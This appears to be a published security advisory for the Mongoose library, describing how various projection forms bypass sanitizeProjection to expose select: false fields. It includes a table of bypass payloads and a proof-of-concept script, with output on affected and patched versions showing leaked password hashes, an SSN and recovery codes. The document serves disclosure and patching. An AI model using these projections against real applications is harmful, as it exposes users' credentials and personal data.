Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`
Published 4 Dec 2026 · Updated 4 Dec 2026
Affected packages
- Affected
- >=8.5.0 <8.24.10
- Fixed in
- 8.24.10
npm install mongoose@8.24.10- Affected
- >=9.0.0 <9.12.2
- Fixed in
- 9.12.2
npm install mongoose@9.12.2Which mongoose does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.
Public repo?
Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Summary
Since Mongoose 8.5.0, the sanitizeProjection option prevents untrusted projections from including fields that the schema deselects with select: false, like password hashes and reset tokens. Several projection forms got around that check, so a user-controlled projection could still return select: false fields even with sanitizeProjection enabled.
Mongoose versions before 8.5.0 do not make sanitizeProjection block including select: false keys - hiding select: false keys was a new feature introduced in Mongoose 8.5.0.
Details
Given:
const User = mongoose.model('User', new Schema({
name: String,
password: { type: String, select: false },
profile: { bio: String, ssn: { type: String, select: false } },
secrets: { type: Map, of: String, select: false },
recoveryCodes: { type: [String], select: false },
tags: [String],
comments: [{ text: String, secret: { type: String, select: false } }]
}));each of the following returned select: false data with sanitizeProjection enabled:
| Projection | Why it got through |
| --- | --- |
| select('-name +password') | +path was only blocked in inclusive projections |
| select('-+password') | Collapsing - paths turned it into +password |
| select('+secrets') | +path was not blocked for map paths |
| select({ name: { $concat: ['$password'] } }), select({ name: ['$password'] }) | Object and array values are aggregation expressions; only string values were sanitized |
| select({ tags: { $slice: ['$recoveryCodes', 1] } }) | A two-element $slice with an expression is an aggregation expression |
| select({ name: { $meta: 'sortKey' } }).sort({ password: 1 }), { $meta: 'indexKey' } | $meta returned sort and index key values |
| select({ name: '$password' }) called before sanitizeProjection(true) | String values were only sanitized if the option was set first |
| select({ profile: { ssn: 1 } }), select({ profile: { bio: '$password' } }) | Nested sub-projections were not checked |
| select('profile') | Selecting a parent path included its select: false children |
| select({ 'comments.$': 1 }) | The positional projection returned the whole array element |
| select(JSON.parse('{"__proto__":{"password":0}}')) | An own __proto__ key re-pointed the projection object's prototype, hiding select: false exclusions |
| select({ profile: { bio: 0 } }) | Nested exclusion objects were treated as inclusive, so select: false exclusions were not added |
| select({ tags: { $elemMatch: { $eq: 'a' } }, name: 0 }) | Treated as inclusive, but MongoDB treats it as exclusive |
| select({ name: { x: 1, $elemMatch: { $eq: 'a' } } }) | The $elemMatch cast error was swallowed and the whole projection was dropped |
| schemaLevelProjections(false) with any expression above | Disabling schema-level projections also disabled sanitizeProjection |
| User.findOne({ __t: 'Admin' }) | select: false fields defined only on a discriminator were not excluded, even when the filter selects that discriminator |
For example:
await User.findOne().sanitizeProjection(true).select('-name +password');
// { password: '<password hash>', ... }
await User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } });
// { name: '<password hash>' }Nested exclusion objects, $elemMatch combined with an exclusion, $elemMatch cast errors, and discriminator filters also affect queries that do not use sanitizeProjection, because they cause Mongoose to leave out the select: false exclusions it normally adds.
Proof of concept
Requires a MongoDB server on localhost and npm install mongoose@9.12.1 (or any affected version).
const mongoose = require('mongoose');
const { Schema } = mongoose;
(async () => {
await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');
const User = mongoose.model('User', new Schema({
name: String,
password: { type: String, select: false },
profile: { bio: String, ssn: { type: String, select: false } },
recoveryCodes: { type: [String], select: false }
}));
await User.deleteMany({});
await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });
// Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled
const attacks = [
'-name +password',
'-+password',
{ name: { $concat: ['$password'] } },
{ name: ['$password'] },
{ name: 1, profile: { $slice: ['$recoveryCodes', 1] } },
{ profile: { ssn: 1 } },
'profile',
JSON.parse('{"__proto__":{"password":0}}'),
{ name: { x: 1, $elemMatch: { $eq: 'alice' } } }
];
for (const projection of attacks) {
const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message);
console.log(JSON.stringify(projection), '=>', JSON.stringify(doc));
}
await mongoose.disconnect();
})();Output on an affected version, with _id and __v removed. Every line includes a select: false value:
"-name +password" => {"password":"HASH","profile":{"bio":"hi"}}
"-+password" => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"HASH"}
{"name":["$password"]} => {"name":["HASH"]}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice","profile":["CODE1"]}
{"profile":{"ssn":1}} => {"profile":{"ssn":"123-45-6789"}}
"profile" => {"profile":{"bio":"hi","ssn":"123-45-6789"}}
{"__proto__":{"password":0}} => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => {"name":"alice","password":"HASH","profile":{"bio":"hi","ssn":"123-45-6789"},"recoveryCodes":["CODE1"]}Output on a patched version. No select: false values are returned, and the last projection rejects:
"-name +password" => {"profile":{"bio":"hi"}}
"-+password" => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"alice"}
{"name":["$password"]} => {"name":"alice"}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice"}
{"profile":{"ssn":1}} => {"name":"alice","profile":{"bio":"hi"}}
"profile" => {"name":"alice","profile":{"bio":"hi"}}
{"__proto__":{"password":0}} => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => "Can't use x with String."Impact
Applications are affected if they pass user-controlled data into select(), find(filter, projection), or the projection option, and rely on sanitizeProjection to keep select: false fields hidden. An attacker can read those fields, which typically hold password hashes, reset tokens, API keys, or other secrets.
Is GHSA-xfcm-rmv3-crmq in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected mongoose, and gives you the command that fixes it.
More advisories for mongoose
- MediumCVE-2026-142595Mongoose: `sanitizeFilter` bypass via MongoDB internal top-level query operators such as `$_internalSchemaXor` · 4 Dec 2026
- LowCVE-2026-142608Mongoose: Plain objects with a forged _bsontype bypass ObjectId and String casting, leaking and replaying data from other command · 3 Dec 2026
- MediumCVE-2026-125116Mongoose: Discriminator key values matching inherited properties (e.g. __t: 'constructor') bypass schema casting and can poison collections · 10 Nov 2026
- HighCVE-2026-125117Mongoose walks into inherited properties when hydrating, setting, and merging, allowing overwrites of built-in functions (denial of service) and shared schema state · 10 Nov 2026
- MediumCVE-2026-125118Mongoose: Prototype pollution via Schema.prototype.virtual() · 10 Nov 2026
- HighCVE-2026-125119Mongoose: Connection-level sanitizeFilter not applied · 10 Nov 2026
References
- Linkgithub.com/Automattic/mongoose/security/advisories/GHSA-xfcm-rmv3-crmq
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-142596
- Linkgithub.com/Automattic/mongoose/commit/c369da407ee8bea907bb5af7bb94ce5deeb3e0e4
- Linkgithub.com/Automattic/mongoose/commit/c5483b71438ececde3a272feef65e14666614093
- Packagegithub.com/Automattic/mongoose
- Linkgithub.com/Automattic/mongoose/releases/tag/8.24.10
- Linkgithub.com/Automattic/mongoose/releases/tag/9.12.2
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.